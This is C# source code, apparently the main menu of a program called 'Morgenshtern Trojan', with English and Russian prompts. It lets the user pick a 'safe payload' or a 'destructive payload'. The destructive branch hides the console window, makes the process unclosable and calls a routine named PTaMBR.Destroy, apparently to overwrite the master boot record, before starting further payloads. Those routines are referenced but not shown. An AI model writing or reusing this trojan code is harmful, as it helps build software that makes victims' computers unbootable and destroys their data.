public static async Task Main(string[] args) { SetProcessDPIAware(); Console.Title = "Morgenshtern Trojan"; await CoolConsole.WriteLine("================================="); await CoolConsole.WriteLine("Morgenshtern Trojan - TheAirBlow"); await CoolConsole.WriteLine(GetStr(0)); await CoolConsole.WriteLine("================================="); Console.ForegroundColor = ConsoleColor.Yellow; await CoolConsole.WriteLine("Напиши '1' - Русский язык"); await CoolConsole.WriteLine("Press Enter - English language"); await CoolConsole.WriteLine("Note: Internet required"); await CoolConsole.WriteLine("Заметка: Нужен Интернет"); Console.ForegroundColor = ConsoleColor.Gray; await CoolConsole.WriteLine("================================="); char option1 = Console.ReadKey().KeyChar; Console.CursorLeft = 0; Console.CursorTop -= 5; await CoolConsole.ClearLines(6); if (option1 == '1') { isRussian = true; } await CoolConsole.Loading(5); Console.Clear(); await CoolConsole.WriteLine("================================="); await CoolConsole.WriteLine("Morgenshtern Trojan - TheAirBlow"); await CoolConsole.WriteLine(GetStr(0)); await CoolConsole.WriteLine("================================="); Console.ForegroundColor = ConsoleColor.Yellow; await CoolConsole.WriteLine(GetStr(1)); Console.ForegroundColor = ConsoleColor.Gray; await CoolConsole.WriteLine("================================="); char option = Console.ReadKey().KeyChar; Console.CursorLeft = 0; Console.CursorTop -= 4; await CoolConsole.ClearLines(6); if (option != '1') { await CoolConsole.WriteLine(GetStr(2)); await CoolConsole.WriteLine("================================="); await Task.Delay(1000); return; } await Menu(); }
public static async Task Menu() { Console.CursorTop = 4; await CoolConsole.ClearLines(10); Console.ForegroundColor = ConsoleColor.Cyan; await CoolConsole.WriteLine(GetStr(3)); Console.ForegroundColor = ConsoleColor.Gray; await CoolConsole.WriteLine("================================="); char option = Console.ReadKey().KeyChar; Console.CursorLeft = 0; switch (option) { case '#': Console.CursorTop = 4; await CoolConsole.ClearLines(6); await CoolConsole.WriteLine(GetStr(2)); await CoolConsole.WriteLine("================================="); await Task.Delay(1000); return; case '1': Console.CursorTop = 4; await CoolConsole.ClearLines(6); Console.ForegroundColor = ConsoleColor.Yellow; await CoolConsole.WriteLine(GetStr(6)); Console.ForegroundColor = ConsoleColor.Gray; await CoolConsole.WriteLine("================================="); char option1 = Console.ReadKey().KeyChar; Console.CursorLeft = 0; Console.CursorTop -= 5; await CoolConsole.ClearLines(6); if (option1.ToString().ToLower() == "s") { // Safe payload SystemSounds.Asterisk.Play(); ShowWindow(GetConsoleWindow(), 0); await PayloadsManager.Start(); } await Menu(); return; case '2': Console.CursorTop = 4; await CoolConsole.ClearLines(6); Console.ForegroundColor = ConsoleColor.Red; await CoolConsole.WriteLine(GetStr(7)); Console.ForegroundColor = ConsoleColor.Gray; await CoolConsole.WriteLine("================================="); char option2 = Console.ReadKey().KeyChar; Console.CursorLeft = 0; Console.CursorTop -= 5; await CoolConsole.ClearLines(6); if (option2.ToString().ToLower() == "d") { // Destructive payload SystemSounds.Asterisk.Play(); ShowWindow(GetConsoleWindow(), 0); MakeUnclosable(); PTaMBR.Destroy(); await PayloadsManager.Start(); } await Menu(); return; default: Console.CursorTop = 4; await CoolConsole.ClearLines(5); Console.ForegroundColor = ConsoleColor.Red; await CoolConsole.WriteLine(GetStr(4)); Console.ForegroundColor = ConsoleColor.Gray; await CoolConsole.WriteLine("================================="); await Task.Delay(1000); await Menu(); return; } }